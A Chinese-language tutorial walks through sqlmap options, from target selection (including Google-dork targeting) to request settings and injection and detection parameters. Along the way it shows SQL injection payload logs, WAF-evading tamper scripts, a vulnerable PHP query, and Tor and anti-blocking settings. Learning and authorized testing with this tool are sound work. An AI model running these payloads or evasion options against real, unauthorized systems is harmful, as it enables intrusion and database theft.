Sqlmap中文手冊詳解
一、Sqlmap是什麼
Sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:
- 完全支援MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多種資料庫管理系統。
- 完全支援布林型盲注、時間型盲注、基於錯誤資訊的注入、聯合查詢注入和堆查詢注入。
- 在資料庫證書、IP地址、埠和資料庫名等條件允許的情況下支援不通過SQL注入點而直接連線資料庫。
- 支援列舉使用者、密碼、雜湊、許可權、角色、資料庫、資料表和列。
- 支援自動識別密碼雜湊格式並通過字典破解密碼雜湊。
- 支援完全地下載某個資料庫中的某個表,也可以只下載某個表中的某幾列,甚至只下載某一列中的部分資料,這完全取決於使用者的選擇。
- 支援在資料庫管理系統中搜索指定的資料庫名、表名或列名
- 當資料庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支援下載或上傳檔案。
- 當資料庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支援執行任意命令並回現標準輸出。
二、安裝Sqlmap
Sqlmap的開源專案,託管在github,最簡單的安裝方式便是使用git,執行如下命令:
git clone https://github.com/sqlmapproject/sqlmap.git
- 1
- 2
片刻後命令執行完畢,可以看到當前目錄中多了一個名為“sqlmap”的目錄,
該目錄中儲存著Sqlmap的Python原始碼、配置檔案和文件。
由於Python是解釋執行的語言,不用編譯,所以至此最新版的Sqlmap已經安裝完成。
cd到“sqlmap”目錄中,用命令“python sqlmap”啟動Sqlmap,如下圖所示:
當想要更新Sqlmap時,進入到“sqlmap”目錄中執行命令“git pull”即可。
三、輸出級別(Output verbosity)
引數:-v
Sqlmap的輸出資訊按從簡到繁共分為7個級別(和葫蘆娃一樣多),依次為0、1、2、3、4、5和6。使用引數“-v <級別>”來指定某個等級,如使用引數“-v 6”來指定輸出級別為6。預設輸出級別為1。各個輸出級別的描述如下:
- 0:只顯示Python的tracebacks資訊、錯誤資訊[ERROR]和關鍵資訊[CRITICAL];
- 1:同時顯示普通訊息[INFO]和警告資訊[WARNING];
- 2:同時顯示除錯資訊[DEBUG];
- 3:同時顯示注入使用的攻擊荷載;
- 4:同時顯示HTTP請求;
- 5:同時顯示HTTP響應頭;
- 6:同時顯示HTTP響應體。
各個級別輸出的資訊詳細到什麼程度,還需要自己嘗試下,親眼見到,才會有明確的認識。
四、指定目標
Sqlmap執行時必須指定至少一個目標,支援一次指定多個目標。有以下幾種指定目標的方式:
1.直接連線資料庫
引數:-d
使用引數“-d”直接連線資料庫,該引數後跟一個表示資料庫的字串,該字串有以下兩種格式:
(1).當資料庫管理系統是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等時格式為:
DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_NAME
(2).當資料庫管理系統是SQLite、Microsoft Access或Firebird等時格式為:
DBMS://DATABASE_FILEPATH
我用如下命令連線裝在本機上的Mysql:
python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"
卻出現了錯誤,錯誤為:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
意思是我沒有安裝Python連線Mysql用的第三方庫python-pymysql。雖然我安裝了python-mysqldb可以使Python連線Mysql,但顯然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安裝python-pymysql:
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
安裝好python-pymysql後再執行命令:
python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"
這次沒有報錯,成功的連線到了資料庫。只是除了檢測資料庫確實是Mysql版本號大於等於5.0.0之外便什麼都沒有做。讓Sqlmap做點什麼需要用其他引數指定,這些引數我們稍晚些再學習。
2.指定目標URL
引數:-u 或 –url
使用引數“-u”或“–url”指定一個URL作為目標,該引數後跟一個表示URL的字串,可以是http協議也可以是https協議,還可以指定埠,如:
python sqlmap.py -u “http://192.168.56.102:8080/user.php?id=0”
3.從Burp或WebScarab的代理日誌中解析目標
引數:-l
使用引數“-l”指定一個Burp或WebScarab的代理日誌檔案,Sqlmap將從日誌檔案中解析出可能的攻擊目標,並逐個嘗試進行注入。該引數後跟一個表示日誌檔案的路徑。
WebScarab我沒有用過,Burp倒是常常會用。Burp預設不記錄日誌,想要記錄日誌需要手動開啟,設定方法如下圖所示:
只用勾選代理中的請求資料就足夠了,日誌檔案路徑可隨意設定,這裡我設定日誌檔名為proxy.log,放在使用者主目錄中。
設定瀏覽器的代理為Burp,隨便瀏覽幾個網頁後發現proxy.log竟然已經有70多K大,檢視其內容,部分輸出如下:
[email protected]:~$ more proxy.log ====================================================== 7:22:52 PM http://ocsp.digicert.com:80 [117.18.237.29] ====================================================== POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Length: 83 Content-Type: application/ocsp-request DNT: 1 Connection: close 0Q0O0M0K0I0 + �ǝ��Pr�Tz� ====================================================== ====================================================== 7:23:00 PM http://blog.csdn.net:80 [47.95.49.160] ====================================================== GET /pyufftj/article/details/21469201 HTTP/1.1 Host: blog.csdn.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 …
可以看到該日誌檔案不僅記錄了GET引數,還記錄了cookie和POST引數。現在使用如下命令讓Sqlmap解析該日誌檔案,自動尋找目標,檢測注入漏洞:
python sqlmap.py -l ../proxy.log
注意日誌檔案的路徑要寫正確。執行該命令時,每找到一個可能的攻擊目標,Sqlmap都會詢問是否要檢測該目標。,預設回答為“Y”,想要測試該目標,直接按回車鍵就行。
當日志較大時會有很多可能目標,雖然有詢問機制但依舊麻煩,因為不能一路按回車而要進行判斷。若是可以對日誌進行過濾就好了!確實是可以的,引數為“–scope”,詳情見“五.18”。
4.從站點地圖檔案中解析目標
引數:-x
為便於搜尋引擎收錄,許多網站專門為搜尋引擎生成了xml格式的站點地圖,如百度Sitemap支援xml格式。Sqlmap可以直接解析xml格式的站點地圖,從中提取攻擊目標,對一個網站全方位無死角地進行注入檢測,此時使用的引數是“-x”,如:
python sqlmap.py -x http://www.6eat.com/sitemap.xml
但執行該命令的結果卻是:
[WARNING] no usable links found (with GET parameters)
沒有找到有GET引數的可用連結。就我有限的經驗而言,站點地圖中的URL很少包含GET引數,POST引數就更不用說了。所以Sqlmap的這一功能似乎有些雞肋。
5.從文字檔案中解析目標
引數:-m
引數“-u”一次只能指定一個URL,若有多個URL需要測試就顯得很不方便,我們可用將多個URL以一行一個的格式儲存在文字檔案中,然後使用引數“-m”,後跟該文字檔案路徑,讓Sqlmap依次讀取檔案中的URL作為攻擊目標。
如我們有檔案url.txt,內容為:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
然後可用使用如下命令讓Sqlmap測試這些URL是否存在注入漏洞:
python sqlmap.py -m url.txt
同樣,執行該命令時,Sqlmap會很貼心地一個個詢問:“do you want to test this URL?”
6.從檔案載入HTTP請求
引數:-r
可以將一個HTTP請求儲存在檔案中,然後使用引數“-r”載入該檔案,Sqlmap會解析該檔案,從該檔案分析目標並進行測試。
設有如下所示的HTTP請求儲存在檔案get.txt中:
GET /user.php?id=1 HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
則使用如下命令讓Sqlmap解析該檔案,以該檔案中HTTP請求目標為攻擊目標進行測試:
python sqlmap.py -r get.txt
7.將Google搜尋結果作為攻擊目標
引數:-g
Sqlmap能自動獲取Google搜尋的前一百個結果,對其中有GET引數的URL進行注入測試。當然,所處的網路環境要能訪問Google才行。下面是Sqlmap手冊中“-g”引數的例子:
python sqlmap.py -g “inurl:\”.php?id=1\” “
8.從配置檔案中載入攻擊目標
引數:-c
使用引數“-c”指定一個配置檔案(如:sqlmap.conf),Sqlmap會解析該配置檔案,按照該配置檔案的配置執行動作。配置檔案中可以指定攻擊目標,實際上除了攻擊目標外,配置檔案還可以指定各種引數的值。
Sqlmap的按照目錄中有一個名為sqlmap.conf的檔案,該檔案是配置檔案的模板,看看該檔案內容,就能明白配置檔案是什麼意思了。
五、請求
HTTP是一個複雜的協議。HTTP請求有很多種方法(method),可以在不同位置(GET、POST、cookie和User-Agent等)攜帶不同引數。往往只有在特定位置攜帶了特定引數以特定方法發起的請求才是合法有效的請求。Sqlmap執行時除了需要指定目標,有時還需要指定HTTP請求的一些細節。下面這些引數都用於指定HTTP請求細節。
1.HTTP方法
引數:–method
一般來說,Sqlmap能自動判斷出是使用GET方法還是POST方法,但在某些情況下需要的可能是PUT等很少見的方法,此時就需要用引數“–method”來指定方法。如:“–method=PUT”。
2.POST資料
引數:–data
該引數指定的資料會被作為POST資料提交,Sqlmap也會檢測該引數指定資料是否存在注入漏洞。如:
python sqlmap.py -u “http://192.168.56.102:8080/user.php” –data=”id=0&name=werner”
3.指定分隔符
引數:–param-del
上一個例子中“–data”的資料“id=0&name=werner”其實由兩個部分組成:“id=0”和“name=werner”,預設地以“&”作為分隔符。我們可以使用“–param-del”來指定分隔符,如:
python sqlmap.py -u “http://192.168.56.102:8080/user.php” –data=”id=0;name=werner” –param-del=”;”
4.cookie
引數:–cookie、–cookie-del、–drop-set-cookie和–load-cookies
有兩種情況會用到這些引數:
- 要測試的頁面只有在登入狀態下才能訪問,登入狀態用cookie識別
- 想要檢測是否存在cookie注入
當“–level”設定為2或更高時,Sqlmap會檢測cookie是否存在注入漏洞,關於“–level”的更多資訊見下文。
(1).“–cookie”和“–cookie-del”
在瀏覽器中登入目標網站後複製出維持登入狀態的cookie,用引數“–cookie”來指定這些cookie,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
與POST引數不同,cookie預設的分隔符為“;”,想要指定cookie中的分隔符,使用引數“–cookie-del”。
(2).“–drop-set-cookie”
若HTTP響應頭中有“Set-Cookie”,Sqlmap會自動設定“Set-Cookie”設定的cookie,並對這些cookie進行檢測。若不想讓Sqlmap這麼做,新增引數“–drop-set-cookie”即可,這樣,Sqlmap會忽略“Set-Cookie”。
(3).“–load-cookies”
該引數用於從檔案中載入Netscape或wget格式的cookie。
wget可以儲存和載入cookie,示例如下:
# Log in to the server. This can be done only once.
wget –save-cookies cookies.txt \
–post-data ‘user=foo&password=bar’ \
http://server.com/auth.php
# Now grab the page or pages we care about.
wget –load-cookies cookies.txt \
-p http://server.com/interesting/article.php
5.User-Agent
引數:–user-agent和–random-agent
預設情況下Sqlmap傳送的HTTP請求中的User-Agent值為:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
使用引數“–user-agent”可以指定一個User-Agent值。但正常的User-Agent值長什麼樣我們可能並不記得,所以有了引數“–random-agent”,使用該引數,Sqlmap會從檔案./txt/user-agents.txt中隨機地取一個User-Agent。注意,在一次會話中只有使用同一個User-Agent,並不是每發一個HTTP請求包,都隨機一個User-Agent。
用如下命令統計user-agents.txt行數:
cat sqlmap/txt/user-agents.txt | wc -l
結果為4211,當然其中還包含空行、註釋等,但總的來說該檔案中儲存的User-Agent也有4千多個。
當“–level”設定為3或更高時,Sqlmap會檢測User-Agent是否存在注入漏洞,關於“–level”的更多資訊見下文。
6.Host
引數:–host
使用該引數可以手動指定HTTP頭中的Host值。
當“–level”設定為5或更高時,Sqlmap會檢測Host是否存在注入漏洞,關於“–level”的更多資訊見下文。
7.Referer
引數:–referer
使用該引數可以指定HTTP頭中的Referer值。Sqlmap傳送的HTTP請求頭部預設無Referer欄位。
當“–level”設定為3或更高時,Sqlmap會檢測Referer是否存在注入漏洞,關於“–level”的更多資訊見下文。
8.額外的HTTP頭
引數:–headers
使用該引數可以在Sqlmap傳送的HTTP請求報文頭部新增欄位,若新增多個欄位,用“\n”分隔。如命令:
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"
傳送的HTTP請求包為:
GET / HTTP/1.1
X-B: B
Host: 192.168.56.101:8080
Accept-encoding: gzip,deflate
X-A: A
Accept: */*
User-agent: sqlmap/1.1.10#stable (http://sqlmap.org)
Connection: close
加引數“-v 5”是為了讓Sqlamp輸出傳送的HTTP請求包,便於我們觀察。
9.身份認證
引數:–auth-type和–auth-cred
這些引數用於進行身份認證。“–auth-type”用於指定認證方式,支援以下三種身份認證方式:
- Basic
- Digest
- NTLM
“–auth-cred”用於給出身份認證的憑證,格式是“username:password”。
如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
10.基於證書的身份認證
引數:–auth-file
若Web伺服器要求客戶端提供證書則可以使用此引數指定一個PEM格式的證書檔案。我們知道SSL協議的客戶端認證是可選的,實踐中一般都只用伺服器端提供自己的證書供客戶端驗證,很少要求客戶端提供自己的證書。
11.忽略401
引數:–ignore-401
使用該引數忽略401錯誤(未認證)。
12.HTTP(S)代理
引數:–proxy、–proxy-cred、–proxy-file和–ignore-proxy
使用引數“–proxy”來設定一個HTTP(S)代理,格式是“http(s)://url:port”。若代理需要認證,使用引數“–proxy-cred”來提供認證憑證,格式是“username:password”。
使用引數“–proxy-file”指定一個儲存著代理列表的檔案,Sqlmap會依次使用檔案中的代理,當某個代理有任何連線問題時就會被棄用而換下一個代理。
使用引數“–ignore-proxy”忽略本地代理設定。
13.Tor匿名網路
引數:–tor、–tor-type、–tor-port和–check-tor
不管出於什麼原因,如果想要保持匿名狀態與其使用單個的HTTP(S)代理,不如安裝類似Privoxy這樣的軟體按照Tor的安裝指導配置一個Tor客戶端。設定好後使用引數“–tor”讓Sqlmap自動設定使用Tor代理。
如果想要手動指定Tor的型別和埠可以使用引數“–tor-type”和“–tor-port”,如:
--tor-type=SOCKS5 --tor-port 9050
如果要求高度的匿名性可以使用引數“–check-tor”,加上該引數後Sqlmap會確保所有流量都走Tor代理,若Tor代理失效,Sqlmap會發出警告並退出。檢測方法是訪問Are you using Tor?。
14.HTTP請求之間新增延遲
引數:–delay
過於頻繁地傳送請求可能會被網站察覺或有其他不良後果。使用引數“–delay”來指定HTTP請求之間的延遲,單位為秒,型別是浮點數,如“–delay 1.5”表示延遲1.5秒。預設是沒有延遲的。
15.超時
引數:–timeout
超時時間預設為30秒,可以用引數“–timeout”指定超時時間,如“–timeout 44.5”表示設定超時時間為44.5秒。
16.超時後最大重試次數
引數:–retries
超時後Sqlmap會進行重試,最大重試次數預設為3,可以用引數“–retries”指定最大重試次數。
17.隨機化引數值
引數:–randomize
使用該引數,Sqlmap會隨機生成每次HTTP請求中引數的值,值的型別和長度依照於原始值。
18.用正則表示式過濾代理日誌
引數:–scope
指定一個Python正則表示式對代理日誌進行過濾,只測試符合正則表示式的目標,如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
19.避免錯誤請求過多而被遮蔽
引數:–safe-url、–safe-post、–safe-req和–safe-freq
有時伺服器檢測到某個客戶端錯誤請求過多會對其進行遮蔽,而Sqlmap的測試往往會產生大量錯誤請求,為避免被遮蔽,可以時不時的產生幾個正常請求以迷惑伺服器。有以下四個引數與這一機制有關:
- –safe-url: 隔一會就訪問一下的安全URL
- –safe-post: 訪問安全URL時攜帶的POST資料
- –safe-req: 從檔案中載入安全HTTP請求
- –safe-freq: 每次測試請求之後都會訪問一下的安全URL
這裡所謂的安全URL是指訪問會返回200、沒有任何報錯的URL。相應地,Sqlmap也不會對安全URL進行任何注入測試。
20.關閉URL編碼
引數:–skip-urlencode
Sqlmap預設會對URL進行URL編碼,可以使用該引數關閉URL編碼。
21.繞過CSRF保護
引數:–csrf-token和–csrf-url
現在有很多網站通過在表單中新增值為隨機生成的token的隱藏欄位來防止CSRF攻擊,Sqlmap會自動識別出這種保護方式並繞過。但自動識別有可能失效,此時就要用到這兩個引數。
“–csrf-token”用於指定包含token的隱藏欄位名,若這個欄位名不是常見的防止CSRF攻擊的欄位名Sqlmap可能不能自動識別出,需要手動指定。如Django中該欄位名為“csrfmiddlewaretoken”,明顯與CSRF攻擊有關。
“–csrf-url”用於從任意的URL中回收token值。若最初有漏洞的目標URL中沒有包含token值而又要求在其他地址提取token值時該引數就很有用。
22.強制使用SSL
引數:–force-ssl
23.在每次請求前執行特定Python程式碼
引數:–eval
直接看例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
每次返送請求前,Sqlmap都會依據id值重新計算hash值並更新GET請求中的hash值。
六、優化
這些引數可以優化Sqlmap的效能。
1.一鍵優化
引數:-o
新增此引數相當於同時新增下列三個優化引數:
- –keep-alive
- –null-connection
- –threads=3 (如果沒有設定一個更好的值)
這些引數具體含義見後文。
2.HTTP長連線
引數:–keep-alive
該引數讓Sqlmap使用HTTP長連線。該引數與“–proxy”矛盾。
3.HTTP空連線
引數:–null-connection
有一種特殊的HTTP請求型別可以直接獲得HTTP響應的大小而不用獲得HTTP響應體。顯然這在布林型盲注中可以節約很大的頻寬。當然這一技術是需要伺服器端支援的。該引數與“–text-only”矛盾。
4.HTTP併發
引數:–threads
使用該引數指定Sqlmap可以達到的最大併發數。從效能和網站承受能力兩方面考慮最大併發數不要超過10。
七、注入
這些引數被用於指定要測試的引數、定製攻擊荷載和選擇篡改指令碼。
1.要測試的注入點
引數:-p和–skip
預設情況下Sqlmap會測試所有GET引數和POST引數,當level大於等於2時會測試cookie引數,當level大於等於3時會測試User-Agent和Referer。實際上還可以手動指定一個以逗號分隔的、要測試的引數列表,該列表中的引數不受level限制。這就是“-p”的作用。
舉個例子,若想只測試GET引數“id”和User-Agent,則可以這麼寫:
-p "id,user-agent"
如果不想測試某一引數則可以使用“–skip”。如設定了level為5但不想測試User-Agent和Referer,則可以這麼寫:
--level=5 --skip="user-agent,referer"
有時會遇到偽靜態網頁。動態網頁會明目張膽地列出引數,如:
/user.php?id=1
顯然引數是id,值為1。但若是偽靜態網頁則可能這樣寫:
/user/1/
將引數隱藏在URL中。通常情況下Sqlmap不會對這樣的偽靜態網頁的引數做測試,因為Sqlmap無法判斷哪個是引數。若想要對這樣的偽靜態進行測試,只需要加上“*”,告訴Sqlmap哪個是偽靜態引數就行,剩下事的和GET引數沒有什麼區別。如:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
2.指定資料庫管理系統
引數:–dbms
dbms是“Database Management System”的縮寫。預設情況下Sqlmap會自動檢測網站使用的資料庫管理系統,Sqlmap支援以下這些資料庫管理系統:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果Sqlmap自動檢測失敗或是不想讓Sqlmap進行資料庫指紋檢測,可以使用引數“–dbms”手動指定資料庫管理系統,如:“–dbms postgresql”。
對於Mysql和Microsoft SQL Server和要這樣指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
對於MySQL來說,是類似這樣的:5.0。對於Microsoft SQL Server來說,是類似這樣的:2005。
如果在新增“–dbms”引數的同時還添加了“–fingerprint”,Sqlmap只會在指定的資料庫管理系統內進行指紋識別。
只有在很確定時使用“–dbms”,否則還是讓Sqlmap自動檢測更好些。
3.指定執行資料庫管理系統的作業系統
引數:–os
預設情況下Sqlmap會自動檢測執行資料庫管理系統的作業系統,目前完全支援的作業系統有:
- Linux
- Windows
如果很確定可以使用引數“–os”指定執行資料庫管理系統的作業系統。當然在只用很確定時才應該使用此引數,否則還是讓Sqlmap自動檢測更好些。
4.生成無效引數值時強制使用大數
引數:–invalid-bignum
有時在注入測試時需要生成無效引數,一般情況下Sqlmap會取已有引數(如:id=13)的相反數(如:id=-13)作為無效引數。但若新增“–invalid-bignum”,Sqlmap就會取大數(如:id=99999999)作為無效引數。
5.生成無效引數值時強制使用邏輯操作符
引數:–invalid-logical
有時在注入測試時需要生成無效引數,一般情況下Sqlmap會取已有引數(如:id=13)的相反數(如:id=-13)作為無效引數。但若新增“–invalid-logical”,Sqlmap就會使用邏輯操作符(如:id=13 AND 18=19)作為無效引數。
6.生成無效引數值時強制使用字串
引數:–invalid-string
有時在注入測試時需要生成無效引數,一般情況下Sqlmap會取已有引數(如:id=13)的相反數(如:id=-13)作為無效引數。但若新增“–invalid-logical”,Sqlmap就會使用字串(如:id=akewmc)作為無效引數。
7.關閉payload轉換
引數:–no-cast
在檢索結果時Sqlmap會將所有輸入轉換為字串型別,若遇到空值(NULL)則將其替換為空白字元。
這樣做是為了防止如連線空值和字串之類的任何錯誤發生並可以簡化資料檢索過程。
但是有報告顯示在老版本的Mysql中這樣做會導致資料檢索出現問題,因此添加了“–no-cast”來告訴Sqlmap不要這樣做。
8.關閉字串編碼
引數:–no-escape
有時Sqlmap會使用用單引號括起來的字串值作為payload,如“SELECT ‘foobar’”,預設地這些值會被編碼,如上例將被編碼為:
“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。這樣做既可以混淆視聽讓人一時難以洞察payload的內容又可以在後臺伺服器使用類似magic_quote或mysql_real_escape_string這樣的轉義函式的情況下字串不受影響。當然在某些情況下需要關閉字串編碼,如為了縮減payload長度,使用者可以使用“–no-escape”來關閉字串編碼。
9.定製payload
引數:–prefix和–suffix
有時只有在payload後新增使用者指定的字尾才能注入成功。另一種場景是使用者已經知道查詢語句怎麼寫的,此時可以直接指定payload的字首和字尾來完成檢測和注入。
一個有漏洞的原始碼示例如下:
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";
對這樣的例子可以讓Sqlmap自動檢測邊界範圍也可以手動指出邊界範圍:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
最終SQL語句會變成:
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1
這個句子語法是正確的,payloa也能執行。
在簡單的測試環境下Sqlmap不需要被提供定製的邊界範圍就能夠自動檢測並完成注入,但在真實世界中某些應用可能會很複雜如巢狀JOIN查詢,此時就需要為Sqlmap指明邊界範圍。
10.修改注入資料
引數:–tamper
除了用CHAR()編碼字串外Sqlmap沒有對payload進行任何混淆。
該引數用於對payload進行混淆以繞過IPS或WAF。
該引數後跟一個tamper指令碼的名字。
若該tamper指令碼位於sqlmap的安裝目錄的tamper/目錄中,就可以省略路徑和字尾名,只寫檔名。
多個tamper指令碼之間用空格隔開。
在tamper/目錄中有許多可用的tamper指令碼。tamper指令碼的作用是對payload進行混淆。
我們還可以自己寫tamper指令碼,這屬於Sqlmap的高階用法,一個有效的tamper指令碼如下所示:
# 必須要匯入的庫
from lib.core.enums import PRIORITY
# 定義該tamper指令碼的優先順序
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''此處是tamper的說明'''
retVal = payload
# 此處是用於修改payload的程式碼
# 返回修改後的payload
return retVal
下面是一個示例,該示例的目標是Mysql,假定大於號、空格和開頭的SELECT是被禁止的:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
該示例部分輸出如下:
[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script 'between'
[12:55:52] [INFO] loading tamper script 'randomcase'
[12:55:52] [INFO] loading tamper script 'space2comment'
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
[12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
[12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]
而若不加tamper指令碼,上例的部分輸出為:
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
[13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
[13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
[13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
[13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
[13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
[13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]
八、檢測
1.檢測級別
引數:–level
此引數用於指定檢測級別,有1~5共5級。預設為1,表示做最少的檢測,相應的,5級表示做最多的檢測。
Sqlmap使用的payload儲存在目錄xml/payloads/中,是xml格式的,可以自己定製。節選一個payload如下所示:
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
在上例中可以看到有level標籤,其值為2,該payload在檢測級別大於等於2時被使用。
risk標籤的含義見後文。
檢測級別不僅會影響payload的使用,還會影響注入點的檢測,GET和POST引數是一直會被檢測的,
檢測級別大於等於2時會檢測cookie是否有注入,檢測級別大於等於3時會檢測User-Agent和Referer是否有注入。
若不是很清楚注入點在哪裡可以設定一個比較高的檢測級別。
強烈建議在向Sqlmap官方報告一個明確存在的注入漏洞檢測不出來前先把檢測級別調高試試。
2.風險等級
引數:–risk
此引數用於指定風險等級,有1~4共4級。預設風險等級為1,此等級在大多數情況下對測試目標無害。
風險等級2添加了基於時間的注入測試,等級3添加了OR測試。
若注入點是在UPDATE語句中,使用OR測試可能會修改整個表的資料,這顯然不是攻擊者想要看到的。
因此使用者需要能控制風險等級避開有潛在風險的payload。
3.頁面對比
引數:–string、–not-string、–regexp
預設情況下在布林型注入中Sqlmap通過比較返回頁面內容來判斷True或False。
但有時頁面每次重新整理都會不同,如頁面中有動態廣告。Sqlmap會盡力判斷出頁面中動態的部分來,但並不總能成功。
使用者可以用引數“–string”指出代表True的頁面會包含而代表False的頁面不會包含的字串以供Sqlmap判斷True或False,
若這樣的字串是變動的還可以用引數“–regexp”指定一個正則表示式去匹配這樣的字串。
或者用引數“–not-string”指出代表False的頁面會包含而代表True的頁面不會包含的字串。
引數:–code
或者更簡單地,若是使用者知道代表True的頁面HTTP狀態碼為200而代表False的頁面HTTP狀態碼不為200比如是401,
可以用“–code”引數告訴告訴Sqlmap這一資訊,如“–code=200”。
引數:–titles
若是使用者知道代表True的頁面title和代表False的頁面title不同,
如代表True的頁面title為“Welcome”,代表False的頁面title為“Forbidden”,
就可以使用引數“–titles”讓Sqlmap依據title來判斷True或False。
